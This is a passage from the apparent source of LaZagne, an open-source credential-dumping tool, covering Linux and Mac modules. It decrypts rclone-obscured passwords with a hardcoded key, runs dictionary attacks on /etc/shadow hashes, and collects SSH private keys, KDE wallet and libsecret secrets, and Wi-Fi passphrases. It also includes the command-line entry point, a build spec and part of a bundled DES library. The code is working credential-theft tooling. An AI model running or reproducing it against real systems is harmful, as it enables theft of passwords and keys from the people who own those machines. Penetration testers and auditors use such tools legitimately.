https://github.com/rclone/rclone/blob/master/fs/config/obscure/obscure.go self.secret_key = b"\x9c\x93\x5b\x48\x73\x0a\x55\x4d\x6b\xfd\x7c\x63\xc8\x86\xa9\x2b\xd3\x90\x19\x8e\xb8\x12\x8a\xfb\xf4\xde\x16\x2b\x8b\x95\xf6\x38" def get_paths(self): return homes.get(file=os.path.join('.config', 'rclone', 'rclone.conf')) def base64_urlsafedecode(self, string): ''' Adds back in the required padding before decoding. https://gist.github.com/cameronmaske/f520903ade824e4c30ab ''' padding = 4 - (len(string) % 4) string = string + ("=" * padding) return base64.urlsafe_b64decode(string) def aes_ctr_decrypt(self, encrypted_password, iv): ''' Do not forget to set an empty nonce https://stackoverflow.com/questions/56217725/openssh-opensshportable-which-key-should-i-extract-from-memory ''' crypter = AES.new(key=self.secret_key, mode=AES.MODE_CTR, initial_value=iv, nonce=b'') decrypted_password = crypter.decrypt(encrypted_password) return decrypted_password.decode('utf-8') def deobscure(self, obscured): encrypted_password = self.base64_urlsafedecode(obscured) buf = encrypted_password[AES.block_size:] iv = encrypted_password[:AES.block_size] return self.aes_ctr_decrypt(buf, iv) def run(self): pwd_found = [] for path in self.get_paths(): cp = RawConfigParser() cp.read(path) for section in cp.sections(): values = { "Name": section } for element in cp.options(section): if 'pass' in element.lower(): passwd = self.deobscure(cp.get(section, element)) values[element.replace('pass', 'Password')] = passwd else: values[element.capitalize()] = cp.get(section, element) pwd_found.append(values) return pwd_found ================================================ FILE: Linux/lazagne/softwares/sysadmin/shadow.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import crypt import os from lazagne.config.module_info import ModuleInfo from lazagne.config.dico import get_dic class Shadow(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'shadow', 'sysadmin') def dictionary_attack(self, user, crypt_pwd): dic = get_dic() # By default 500 most famous passwords are used for the dictionary attack dic.insert(0, user) # Add the user on the list to found weak password (login equal password) # Different possible hash type # ID | Method # -------------------------------------------------------------------------- # 1 | MD5 # 2 | Blowfish (not in mainline glibc; added in some Linux distributions) # 5 | SHA-256 (since glibc 2.7) # 6 | SHA-512 (since glibc 2.7) if '$' not in crypt_pwd: # Either malformed or old bcrypt password return False hash_type = crypt_pwd.split("$")[1] hash_algo = { '1': 'MD5', '2': 'Blowfish', '5': 'SHA-256', '6': 'SHA-512', } # For Debug information for h_type in hash_algo: if h_type == hash_type: self.debug('[+] Hash type {algo} detected ...'.format(algo=hash_algo[h_type])) real_salt = '${hash_type}${salt}$'.format(hash_type=hash_type, salt=crypt_pwd.split("$")[2]) # -------------------------- Dictionary attack -------------------------- self.info('Dictionary Attack on the hash !!! ') try: for word in dic: try: crypt_word = crypt.crypt(word, real_salt) if crypt_word == crypt_pwd: return { 'Login': user, 'Password': word } except Exception as e: pass except (KeyboardInterrupt, SystemExit): self.debug(u'Dictionary attack interrupted') return False def run(self): shadow_file = '/etc/shadow' if os.access(shadow_file, os.R_OK): pwd_found = [] with open(shadow_file, 'r') as shadow_file: for line in shadow_file.readlines(): user_hash = line.replace('\n', '') line = user_hash.split(':') # Check if a password is defined if not line[1] in ['x', '*', '!', '!!']: user = line[0] crypt_pwd = line[1] # Try dictionary attack result = self.dictionary_attack(user, crypt_pwd) if result: pwd_found.append(result) else: # No clear text password found - save hash pwd_found.append({ 'Login': user_hash.split(':')[0].replace('\n', ''), 'Hash': ':'.join(user_hash.split(':')[1:]), }) return pwd_found ================================================ FILE: Linux/lazagne/softwares/sysadmin/ssh.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import os from lazagne.config.module_info import ModuleInfo from lazagne.config import homes class Ssh(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'ssh', 'sysadmin') def get_ids(self): known = set() for user, identity in homes.users(file=[ os.path.join('.ssh', item) for item in ( 'id_rsa', 'id_dsa', 'id_ecdsa', 'id_ed25519' ) ]): if os.path.isfile(identity): try: with open(identity) as fidentity: yield { 'KEY': fidentity.read(), 'User': user, } known.add(identity) except Exception: pass for user, config in self.get_configs(): for pw in self.get_ids_from_config(user, config): if pw['KEY'] in known: continue try: with open(pw['KEY']) as fidentity: pw['KEY'] = fidentity.read() yield pw known.add(identity) except Exception: pass def get_configs(self): return homes.users(file=os.path.join('.ssh', 'config')) def create_pw_object(self, identity, host, port, user): pw = {'KEY': identity} if host: pw['Host'] = host if port: pw['Port'] = port if user: pw['Login'] = user return pw def get_ids_from_config(self, default_user, config): try: hostname = None port = 22 user = default_user identity = None with open(config) as fconfig: for line in fconfig.readlines(): line = line.strip() if line.startswith('#'): continue line = line.split() if len(line) < 2: continue cmd, args = line[0].lower(), line[1:] args = ' '.join([x for x in args if x]) if cmd == 'host': if identity: yield self.create_pw_object( identity, hostname, port, user ) hostname = None port = 22 user = default_user identity = None elif cmd == 'hostname': hostname = args elif cmd == 'user': user = args elif cmd == 'identityfile': if args.startswith('~/'): args = config[:config.find('.ssh')] + args[2:] identity = args if identity: yield self.create_pw_object( identity, hostname, port, user ) except Exception as e: pass def run(self): return list(self.get_ids()) ================================================ FILE: Linux/lazagne/softwares/wallet/__init__.py ================================================ # -*- coding: utf-8 -*- ================================================ FILE: Linux/lazagne/softwares/wallet/kde.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- ####################### # # By Quentin HARDY # ####################### from lazagne.config.module_info import ModuleInfo from lazagne.config import homes class Kde(ModuleInfo): def __init__(self): self.appid = 'Get KDE keyring' self.bus_info = [ ('org.kde.kwalletd', '/modules/kwalletd'), ('org.kde.kwalletd5', '/modules/kwalletd5') ] ModuleInfo.__init__(self, 'kwallet', 'wallet') def run(self): try: import dbus except Exception as e: self.error('kwallet: {error}'.format(error=e)) return [] pwd_found = [] for _, session in homes.sessions(): try: bus = dbus.bus.BusConnection(session) if 'org.kde.kwalletd' not in [str(x) for x in bus.list_names()]: continue for info in self.bus_info: kwallet_object = bus.get_object(info[0], info[1]) wallet = dbus.Interface(kwallet_object, 'org.kde.KWallet') handle = wallet.open(wallet.networkWallet(), 0, self.appid) if handle: for folder in wallet.folderList(handle, self.appid): for entry in wallet.entryList(handle, folder, self.appid): password_list = wallet.readPasswordList(handle, folder, entry, self.appid) for plist in password_list.items(): pwd_found.append({ 'Folder': str(folder), 'Login': str(plist[0]), 'Password': str(plist[1]), }) except Exception as e: self.error(e) continue bus.flush() bus.close() return pwd_found ================================================ FILE: Linux/lazagne/softwares/wallet/libsecret.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- from lazagne.config.constant import constant from lazagne.config.module_info import ModuleInfo from lazagne.config import homes from binascii import hexlify import pwd import traceback try: import jeepney.auth # except ImportError: except Exception: pass else: # Thanks to @mitya57 for its Work around def make_auth_external(): hex_uid = hexlify(str(make_auth_external.uid).encode('ascii')) return b'AUTH EXTERNAL %b\r\n' % hex_uid jeepney.auth.make_auth_external = make_auth_external class Libsecret(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'libsecret', 'wallet') def run(self): items = [] visited = set() try: import dbus import secretstorage import datetime except ImportError as e: self.error('libsecret: {0}'.format(e)) return [] for uid, session in homes.sessions(): try: # List bus connection names bus = dbus.bus.BusConnection(session) if 'org.freedesktop.secrets' not in [str(x) for x in bus.list_names()]: continue except Exception: self.error(traceback.format_exc()) continue collections = None try: # Python 2.7 collections = list(secretstorage.collection.get_all_collections(bus)) except Exception: pass if not collections: try: # Python 3 from jeepney.io.blocking import open_dbus_connection make_auth_external.uid = uid bus = open_dbus_connection(session) collections = secretstorage.get_all_collections(bus) except Exception: self.error(traceback.format_exc()) continue for collection in collections: if collection.is_locked(): continue label = collection.get_label() if label in visited: continue visited.add(label) try: storage = collection.get_all_items() except Exception: self.error(traceback.format_exc()) continue for item in storage: values = { 'Owner': pwd.getpwuid(uid).pw_name, 'Collection': label, 'Label': item.get_label(), 'Content-Type': item.get_secret_content_type(), 'Password': item.get_secret().decode('utf8'), 'Created': str(datetime.datetime.fromtimestamp(item.get_created())), 'Modified': str(datetime.datetime.fromtimestamp(item.get_modified())), } # for k, v in item.get_attributes().iteritems(): # values[unicode(k)] = unicode(v) items.append(values) if item.get_label().endswith('Safe Storage'): constant.chrome_storage.append(item.get_secret()) try: bus.flush() bus.close() except Exception: pass return items ================================================ FILE: Linux/lazagne/softwares/wifi/__init__.py ================================================ # -*- coding: utf-8 -*- ================================================ FILE: Linux/lazagne/softwares/wifi/wifi.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- import os from lazagne.config.module_info import ModuleInfo try: from ConfigParser import RawConfigParser # Python 2.7 except ImportError: from configparser import RawConfigParser # Python 3 from collections import OrderedDict class Wifi(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'wifi', 'wifi') def run(self): pwd_found = [] directory = u'/etc/NetworkManager/system-connections' if os.path.exists(directory): if os.getuid() == 0: wireless_ssid = [f for f in os.listdir(directory) if os.path.isfile(os.path.join(directory, f))] for w in wireless_ssid: cp = RawConfigParser() cp.read(os.path.join(directory, w)) values = OrderedDict() try: values['SSID'] = cp.get('wifi', 'ssid') values['Password'] = cp.get('wifi-security', 'psk') pwd_found.append(values) except Exception: pass else: self.info('You need sudo privileges') return pwd_found ================================================ FILE: Linux/lazagne/softwares/wifi/wpa_supplicant.py ================================================ #!/usr/bin/env python # -*- coding: utf-8 -*- ####################### # # By rpesche # ####################### import re import os from lazagne.config.module_info import ModuleInfo class Wpa_supplicant(ModuleInfo): def __init__(self): ModuleInfo.__init__(self, 'wpa_supplicant', 'wifi') def parse_file_network(self, fd): password = None ssid = None for line in fd: if re.match('^[ \t]*ssid=', line): ssid = (line.split("\"")[1]) if re.match('^[ \t]*psk=', line): password = line.split("\"")[1] if re.match('^[ \t]*password=', line): password = line.split("\"")[1] if re.match('^[ \t]*}', line): return (ssid, password) def run(self): pwd_found = [] wifi_path = u'/etc/wpa_supplicant/wpa_supplicant.conf' if os.path.exists(wifi_path): # Check root access if os.getuid() == 0: with open(wifi_path) as fd: for line in fd: if 'network=' in line: (ssid, password) = self.parse_file_network(fd) if ssid and password: pwd_found.append({ 'SSID': ssid, 'Password': password, }) else: self.info('You need sudo privileges') return pwd_found ================================================ FILE: Linux/lazagne.spec ================================================ # -*- mode: python ; coding: utf-8 -*- a = Analysis( ['laZagne.py'], pathex=[], binaries=[], datas=[], hiddenimports=[], hookspath=['.'], hooksconfig={}, runtime_hooks=[], excludes=[], noarchive=False, optimize=0, ) pyz = PYZ(a.pure) exe = EXE( pyz, a.scripts, a.binaries, a.datas, [], name='laZagne', debug=False, bootloader_ignore_signals=False, strip=False, upx=True, upx_exclude=[], runtime_tmpdir=None, console=True, disable_windowed_traceback=False, argv_emulation=False, target_arch=None, codesign_identity=None, entitlements_file=None, ) ================================================ FILE: Mac/hook-sys.py ================================================ from lazagne.config.manage_modules import get_modules_names from lazagne.softwares.browsers.chromium_browsers import chromium_based_module_location from lazagne.softwares.browsers.firefox_browsers import mozilla_module_location all_hidden_imports_module_names = get_modules_names() + [mozilla_module_location, chromium_based_module_location] hiddenimports = [package_name for package_name, module_name in all_hidden_imports_module_names] if __name__ == "__main__": print("\r\n".join(hiddenimports)) ================================================ FILE: Mac/laZagne.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python ############################################################################## # # # By Alessandro ZANNI # # # ############################################################################## # Disclaimer: Do Not Use this program for illegal purposes ;) import argparse import logging import sys import os import time # Configuration from lazagne.config.write_output import write_in_file, StandardOutput from lazagne.config.manage_modules import get_categories from lazagne.config.constant import constant from lazagne.config.run import run_lazagne, create_module_dic # Object used to manage the output / write functions (cf write_output file) constant.st = StandardOutput() modules = create_module_dic() def output(output_dir=None, txt_format=False, json_format=False, all_format=False): if output_dir: if os.path.isdir(output_dir): constant.folder_name = output_dir else: print('[!] Specify a directory, not a file !') if txt_format: constant.output = 'txt' if json_format: constant.output = 'json' if all_format: constant.output = 'all' if constant.output: if not os.path.exists(constant.folder_name): os.makedirs(constant.folder_name) # constant.file_name_results = 'credentials' # let the choice of the name to the user if constant.output != 'json': constant.st.write_header() def quiet_mode(is_quiet_mode=False): if is_quiet_mode: constant.quiet_mode = True def verbosity(verbose=0): # Write on the console + debug file if verbose == 0: level = logging.CRITICAL elif verbose == 1: level = logging.INFO elif verbose >= 2: level = logging.DEBUG formatter = logging.Formatter(fmt='%(message)s') stream = logging.StreamHandler(sys.stdout) stream.setFormatter(formatter) root = logging.getLogger() root.setLevel(level) # If other logging are set for r in root.handlers: r.setLevel(logging.CRITICAL) root.addHandler(stream) def manage_advanced_options(user_password=None, dictionary_attack=None): if user_password: constant.user_password = user_password if dictionary_attack: constant.dictionary_attack = dictionary_attack def clean_args(arg): """ Remove not necessary values to get only subcategories """ for i in ['output', 'write_normal', 'write_json', 'write_all', 'verbose', 'auditType', 'quiet']: try: del arg[i] except Exception: pass return arg def runLaZagne(category_selected='all', subcategories={}, password=None, interactive=False): """ This function will be removed, still there for compatibility with other tools Everything is on the config/run.py file """ for pwd_dic in run_lazagne( category_selected=category_selected, subcategories=subcategories, password=password, interactive=interactive ): yield pwd_dic if __name__ == '__main__': parser = argparse.ArgumentParser(description=constant.st.banner, formatter_class=argparse.RawTextHelpFormatter) parser.add_argument('--version', action='version', version='Version ' + str(constant.CURRENT_VERSION), help='laZagne version') # ------------------------------------------- Permanent options ------------------------------------------ # Version and verbosity PPoptional = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION) ) PPoptional._optionals.title = 'optional arguments' PPoptional.add_argument('-i', '--interactive', default=False, action='store_true', help='will prompt a window to the user') PPoptional.add_argument('-password', dest='password', action='store', help='user password used to decrypt the keychain') PPoptional.add_argument('-attack', dest='attack', action='store_true', help='500 well known passwords used to check the user hash (could take a while)') PPoptional.add_argument('-v', dest='verbose', action='count', help='increase verbosity level', default=0) PPoptional.add_argument('-quiet', dest='quiet', action='store_true', help='quiet mode: nothing is printed to the output', default=False, ) # Output PWrite = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION) ) PWrite._optionals.title = 'Output' PWrite.add_argument('-oN', dest='write_normal', action='store_true', help='output file in a readable format') PWrite.add_argument('-oJ', dest='write_json', action='store_true', help='output file in a json format') PWrite.add_argument('-oA', dest='write_all', action='store_true', help='output file in all format') PWrite.add_argument('-output', dest='output', action='store', help='destination path to store results (default:.)', default='.') # -------------------------------- Add options and suboptions to all modules ------------------------------ all_subparser = [] categories = get_categories() for c in categories: categories[c]['parser'] = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION) ) categories[c]['parser']._optionals.title = categories[c]['help'] # Manage options categories[c]['subparser'] = [] for module in modules[c]: m = modules[c][module] categories[c]['parser'].add_argument(m.options['command'], action=m.options['action'], dest=m.options['dest'], help=m.options['help']) # Manage all sub options by modules if m.suboptions: tmp = [] for sub in m.suboptions: tmp_subparser = argparse.ArgumentParser( add_help=False, formatter_class=lambda prog: argparse.HelpFormatter(prog, max_help_position=constant.MAX_HELP_POSITION) ) tmp_subparser._optionals.title = sub['title'] if 'type' in sub: tmp_subparser.add_argument(sub['command'], type=sub['type'], action=sub['action'], dest=sub['dest'], help=sub['help']) else: tmp_subparser.add_argument(sub['command'], action=sub['action'], dest=sub['dest'], help=sub['help']) tmp.append(tmp_subparser) all_subparser.append(tmp_subparser) categories[c]['subparser'] += tmp # ------------------------------------------- Print all ------------------------------------------- parents = [PPoptional] + all_subparser + [PWrite] dic = {'all': {'parents': parents, 'help': 'Run all modules'}} for c in categories: parser_tab = [PPoptional, categories[c]['parser']] if 'subparser' in categories[c]: if categories[c]['subparser']: parser_tab += categories[c]['subparser'] parser_tab += [PWrite] dic_tmp = {c: {'parents': parser_tab, 'help': 'Run %s module' % c}} dic = dict(list(dic.items()) + list(dic_tmp.items())) subparsers = parser.add_subparsers(help='Choose a main command') for d in dic: subparsers.add_parser(d, parents=dic[d]['parents'], help=dic[d]['help']).set_defaults(auditType=d) # ------------------------------------------- Parse arguments ------------------------------------------- # # By default, launch all modules # if len(sys.argv) == 1: # args = { # 'verbose': 0, # 'quiet': False, # 'password': None, # 'write_normal': None, # 'write_json': None, # 'write_all': None, # 'output': '.', # 'auditType': 'all' # } # else: # args = dict(parser.parse_args()._get_kwargs()) # # arguments = parser.parse_args() args = dict(parser.parse_args()._get_kwargs()) arguments = parser.parse_args() # Define constant variables output( output_dir=args['output'], txt_format=args['write_normal'], json_format=args['write_json'], all_format=args['write_all'] ) verbosity(verbose=args['verbose']) manage_advanced_options(user_password=args.get('password', None), dictionary_attack=args.get('attack', None)) quiet_mode(is_quiet_mode=args['quiet']) # Print the title constant.st.first_title() start_time = time.time() category_selected = args['auditType'] subcategories = clean_args(args) for r in runLaZagne( category_selected=category_selected, subcategories=subcategories, password=args.get('password', None), interactive=arguments.interactive ): pass write_in_file(constant.stdout_result) constant.st.print_footer(elapsed_time=str(time.time() - start_time)) ================================================ FILE: Mac/lazagne/__init__.py ================================================ ================================================ FILE: Mac/lazagne/config/__init__.py ================================================ ================================================ FILE: Mac/lazagne/config/constant.py ================================================ # -*- coding: utf-8 -*- # !/usr/bin/python import time date = time.strftime("%d%m%Y_%H%M%S") class constant(): folder_name = '.' file_name_results = 'credentials_{current_time}'.format(current_time=date) # extension added (txt, json) MAX_HELP_POSITION = 27 CURRENT_VERSION = '2.4.3' output = None file_logger = None verbose = False nbPasswordFound = 0 # total password found passwordFound = [] keychains_pwd = [] # password of the keychain keychains_pwds = [] # passwords contained in the keychain system_pwd = [] finalResults = {} quiet_mode = False st = None # standard output dictionary_attack = False user_password = None user_keychain_find = False stdout_result = [] # Tab containing all results by user modules_dic = {} ================================================ FILE: Mac/lazagne/config/crypto/__init__.py ================================================ ================================================ FILE: Mac/lazagne/config/crypto/pyDes.py ================================================ ############################################################################# # Documentation # ############################################################################# # Author: Todd Whiteman # Date: 28th April, 2010 # Version: 2.0.1 # License: MIT # Homepage: http://twhiteman.netfirms.com/des.html # # This is a pure python implementation of the DES encryption algorithm. # It's pure python to avoid portability issues, since most DES # implementations are programmed in C (for performance reasons). # # Triple DES class is also implemented, utilizing the DES base. Triple DES # is either DES-EDE3 with a 24 byte key, or DES-EDE2 with a 16 byte key. # # See the README.txt that should come with this python module for the # implementation methods used. # # Thanks to: # * David Broadwell for ideas, comments and suggestions. # * Mario Wolff for pointing out and debugging some triple des CBC errors. # * Santiago Palladino for providing the PKCS5 padding technique. # * Shaya for correcting the PAD_PKCS5 triple des CBC errors. # """A pure python implementation of the DES and TRIPLE DES encryption algorithms. Class initialization -------------------- pyDes.des(key, [mode], [IV], [pad], [padmode]) pyDes.triple_des(key, [mode], [IV], [pad], [padmode]) key -> Bytes containing the encryption key. 8 bytes for DES, 16 or 24 bytes for Triple DES mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book) or pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Length must be 8 bytes. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrypt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrypt operations done with this instance. I recommend to use PAD_PKCS5 padding, as then you never need to worry about any padding issues, as the padding can be removed unambiguously upon decrypting data that was encrypted using PAD_PKCS5 padmode. Common methods -------------- encrypt(data, [pad], [padmode]) decrypt(data, [pad], [padmode]) data -> Bytes to be encrypted/decrypted pad -> Optional argument. Only when using padmode of PAD_NORMAL. For encryption, adds this characters to the end of the data block when data is not a multiple of 8 bytes. For decryption, will remove the trailing characters that match this pad character from the last 8 bytes of the unencrypted data block. padmode -> Optional argument, set the padding mode, must be one of PAD_NORMAL or PAD_PKCS5). Defaults to PAD_NORMAL. Example ------- from pyDes import * data = "Please encrypt my data" k = des("DESCRYPT", CBC, "\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) # For Python3, you'll need to use bytes, i.e.: # data = b"Please encrypt my data" # k = des(b"DESCRYPT", CBC, b"\0\0\0\0\0\0\0\0", pad=None, padmode=PAD_PKCS5) d = k.encrypt(data) print "Encrypted: %r" % d print "Decrypted: %r" % k.decrypt(d) assert k.decrypt(d, padmode=PAD_PKCS5) == data See the module source (pyDes.py) for more examples of use. You can also run the pyDes.py file without and arguments to see a simple test. Note: This code was not written for high-end systems needing a fast implementation, but rather a handy portable solution with small usage. """ import sys # _pythonMajorVersion is used to handle Python2 and Python3 differences. _pythonMajorVersion = sys.version_info[0] # Modes of crypting / cyphering ECB = 0 CBC = 1 # Modes of padding PAD_NORMAL = 1 PAD_PKCS5 = 2 # PAD_PKCS5: is a method that will unambiguously remove all padding # characters after decryption, when originally encrypted with # this padding mode. # For a good description of the PKCS5 padding technique, see: # http://www.faqs.org/rfcs/rfc1423.html # The base class shared by des and triple des. class _baseDes(object): def __init__(self, mode=ECB, IV=None, pad=None, padmode=PAD_NORMAL): if IV: IV = self._guardAgainstUnicode(IV) if pad: pad = self._guardAgainstUnicode(pad) self.block_size = 8 # Sanity checking of arguments. if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if IV and len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") # Set the passed in variables self._mode = mode self._iv = IV self._padding = pad self._padmode = padmode def getKey(self): """getKey() -> bytes""" return self.__key def setKey(self, key): """Will set the crypting key for this object.""" key = self._guardAgainstUnicode(key) self.__key = key def getMode(self): """getMode() -> pyDes.ECB or pyDes.CBC""" return self._mode def setMode(self, mode): """Sets the type of crypting mode, pyDes.ECB or pyDes.CBC""" self._mode = mode def getPadding(self): """getPadding() -> bytes of length 1. Padding character.""" return self._padding def setPadding(self, pad): """setPadding() -> bytes of length 1. Padding character.""" if pad is not None: pad = self._guardAgainstUnicode(pad) self._padding = pad def getPadMode(self): """getPadMode() -> pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" return self._padmode def setPadMode(self, mode): """Sets the type of padding mode, pyDes.PAD_NORMAL or pyDes.PAD_PKCS5""" self._padmode = mode def getIV(self): """getIV() -> bytes""" return self._iv def setIV(self, IV): """Will set the Initial Value, used in conjunction with CBC mode""" if not IV or len(IV) != self.block_size: raise ValueError("Invalid Initial Value (IV), must be a multiple of " + str(self.block_size) + " bytes") IV = self._guardAgainstUnicode(IV) self._iv = IV def _padData(self, data, pad, padmode): # Pad data depending on the mode if padmode is None: # Get the default padding mode. padmode = self.getPadMode() if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if padmode == PAD_NORMAL: if len(data) % self.block_size == 0: # No padding required. return data if not pad: # Get the default padding. pad = self.getPadding() if not pad: raise ValueError("Data must be a multiple of " + str( self.block_size) + " bytes in length. Use padmode=PAD_PKCS5 or set the pad character.") data += (self.block_size - (len(data) % self.block_size)) * pad elif padmode == PAD_PKCS5: pad_len = 8 - (len(data) % self.block_size) if _pythonMajorVersion < 3: data += pad_len * chr(pad_len) else: data += bytes([pad_len] * pad_len) return data def _unpadData(self, data, pad, padmode): # Unpad data depending on the mode. if not data: return data if pad and padmode == PAD_PKCS5: raise ValueError("Cannot use a pad character with PAD_PKCS5") if padmode is None: # Get the default padding mode. padmode = self.getPadMode() if padmode == PAD_NORMAL: if not pad: # Get the default padding. pad = self.getPadding() if pad: data = data[:-self.block_size] + \ data[-self.block_size:].rstrip(pad) elif padmode == PAD_PKCS5: if _pythonMajorVersion < 3: pad_len = ord(data[-1]) else: pad_len = data[-1] data = data[:-pad_len] return data def _guardAgainstUnicode(self, data): # Only accept byte strings or ascii unicode values, otherwise # there is no way to correctly decode the data into bytes. if _pythonMajorVersion < 3: if isinstance(data, unicode): # noqa raise ValueError("pyDes can only work with bytes, not Unicode strings.") else: if isinstance(data, str): # Only accept ascii unicode values. try: return data.encode('ascii') except UnicodeEncodeError: pass raise ValueError("pyDes can only work with encoded strings, not Unicode.") return data ############################################################################# # DES # ############################################################################# class des(_baseDes): """DES encryption/decrytpion class Supports ECB (Electronic Code Book) and CBC (Cypher Block Chaining) modes. pyDes.des(key,[mode], [IV]) key -> Bytes containing the encryption key, must be exactly 8 bytes mode -> Optional argument for encryption type, can be either pyDes.ECB (Electronic Code Book), pyDes.CBC (Cypher Block Chaining) IV -> Optional Initial Value bytes, must be supplied if using CBC mode. Must be 8 bytes in length. pad -> Optional argument, set the pad character (PAD_NORMAL) to use during all encrypt/decrypt operations done with this instance. padmode -> Optional argument, set the padding mode (PAD_NORMAL or PAD_PKCS5) to use during all encrypt/decrypt operations done with this instance. """ # Permutation and translation tables for DES __pc1 = [56, 48, 40, 32, 24, 16, 8, 0, 57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 60, 52, 44, 36, 28, 20, 12, 4, 27, 19, 11, 3 ] # number left rotations of pc1 __left_rotations = [ 1, 1, 2, 2, 2, 2, 2, 2, 1, 2, 2, 2, 2, 2, 2, 1 ] # permuted choice key (table 2) __pc2 = [ 13, 16, 10, 23, 0, 4, 2, 27, 14, 5, 20, 9, 22, 18, 11, 3, 25, 7, 15, 6, 26, 19, 12, 1, 40, 51, 30, 36, 46, 54, 29, 39, 50, 44, 32, 47, 43, 48, 38, 55, 33, 52, 45, 41, 49, 35, 28, 31 ] # initial permutation IP __ip = [57, 49, 41, 33, 25, 17, 9, 1, 59, 51, 43, 35, 27, 19, 11, 3, 61, 53, 45, 37, 29, 21, 13, 5, 63, 55, 47, 39, 31, 23, 15, 7, 56, 48, 40, 32, 24, 16, 8, 0, 58, 50, 42, 34, 26, 18, 10, 2, 60, 52, 44, 36, 28, 20, 12, 4, 62, 54, 46, 38, 30, 22, 14, 6 ] # Expansion table for turning 32 bit blocks into 48 bits __expansion_table = [ 31, 0, 1, 2, 3, 4, 3, 4, 5, 6, 7, 8, 7, 8, 9, 10, 11, 12, 11, 12, 13, 14, 15, 16, 15, 16, 17, 18, 19, 20, 19, 20, 21, 22, 23, 24, 23, 24, 25, 26, 27, 28, 27, 28, 29, 30, 31, 0 ] # The (in)famous S-boxes __sbox = [ # S1 [14, 4, 13, 1, 2, 15, 11, 8, 3, 10, 6, 12, 5, 9, 0, 7, 0, 15, 7, 4, 14, 2, 13, 1, 10, 6, 12, 11, 9, 5, 3, 8, 4, 1, 14, 8, 13, 6, 2, 11, 15, 12, 9, 7, 3, 10, 5, 0, 15, 12, 8, 2, 4, 9, 1, 7, 5, 11, 3, 14, 10, 0, 6, 13], # S2 [15, 1, 8, 14, 6, 11, 3, 4, 9, 7, 2, 13, 12, 0, 5, 10, 3, 13, 4, 7, 15, 2, 8, 14, 12, 0, 1, 10, 6, 9, 11, 5, 0, 14, 7, 11, 10, 4, 13, 1, 5, 8, 12, 6, 9, 3, 2, 15, 13, 8, 10, 1, 3, 15, 4, 2, 11, 6, 7, 12, 0, 5, 14, 9], # S3 [10, 0, 9, 14, 6, 3, 15, 5, 1, 13, 12, 7, 11, 4, 2, 8, 13, 7, 0, 9, 3, 4, 6, 10, 2, 8, 5, 14, 12, 11, 15, 1, 13, 6, 4, 9, 8, 15, 3, 0, 11, 1, 2, 12, 5, 10, 14, 7, 1, 10, 13, 0, 6, 9, 8, 7, 4, 15, 14, 3, 11, 5, 2, 12], # S4 [7, 13, 14, 3, 0, 6, 9, 10, 1, 2, 8, 5, 11, 12, 4, 15, 13, 8, 11, 5, 6, 15, 0, 3, 4, 7, 2, 12, 1, 10, 14, 9, 10, 6, 9, 0, 12, 11, 7, 13, 15, 1, 3, 14, 5, 2, 8, 4, 3, 15, 0, 6, 10, 1, 13, 8, 9, 4, 5, 11, 12, 7, 2, 14], # S5 [2, 12, 4, 1, 7, 10, 11, 6, 8, 5, 3, 15, 13, 0, 14, 9, 14, 11, 2, 12, 4, 7, 13, 1, 5, 0, 15, 10, 3, 9, 8, 6, 4, 2, 1, 11, 10, 13, 7, 8, 15, 9, 12, 5, 6, 3, 0, 14, 11, 8, 12, 7, 1, 14, 2, 13, 6, 15, 0, 9, 10, 4, 5, 3], # S6 [12, 1, 10, 15, 9, 2, 6, 8, 0, 13, 3, 4, 14, 7, 5, 11, 10, 15, 4, 2, 7, 12, 9, 5, 6, 1, 13, 14, 0, 11, 3, 8, 9, 14, 15, 5, 2, 8, 12, 3, 7, 0, 4, 10, 1, 13, 11, 6, 4, 3, 2, 12, 9, 5, 15, 10, 11, 14, 1, 7, 6, 0, 8, 13], # S7 [4, 11, 2, 14, 15, 0, 8, 13, 3, 12, 9, 7, 5, 10, 6, 1, 13, 0, 11, 7, 4, 9, 1, 10, 14, 3, 5, 12, 2, 15, 8, 6, 1, 4, 11, 13, 12, 3, 7, 14, 10, 15, 6, 8, 0, 5, 9, 2, 6, 11, 13, 8, 1, 4, 10, 7, 9, 5, 0, 15, 14, 2, 3, 12], # S8 [13, 2, 8, 4, 6, 15, 11, 1, 10, 9, 3, 14, 5, 0, 12, 7, 1, 15, 13, 8, 10, 3, 7, 4, 12, 5, 6, 11, 0, 14, 9, 2, 7, 11, 4, 1, 9, 12, 14, 2, 0, 6, 10, 13, 15, 3, 5, 8, 2, 1, 14, 7, 4, 10, 8, 13, 15, 12, 9, 0, 3, 5, 6, 11], ] # 32-bit permutation function P used on the output of the S-boxes __p = [ 15, 6, 19, 20, 28, 11, 27, 16, 0, 14, 22, 25, 4, 17, 30, 9, 1, 7, 23, 13, 31, 26, 2, 8, 18, 12, 29, 5, 21, 10, 3, 24 ] # final permutation IP^-1 __fp = [ 39, 7, 47, 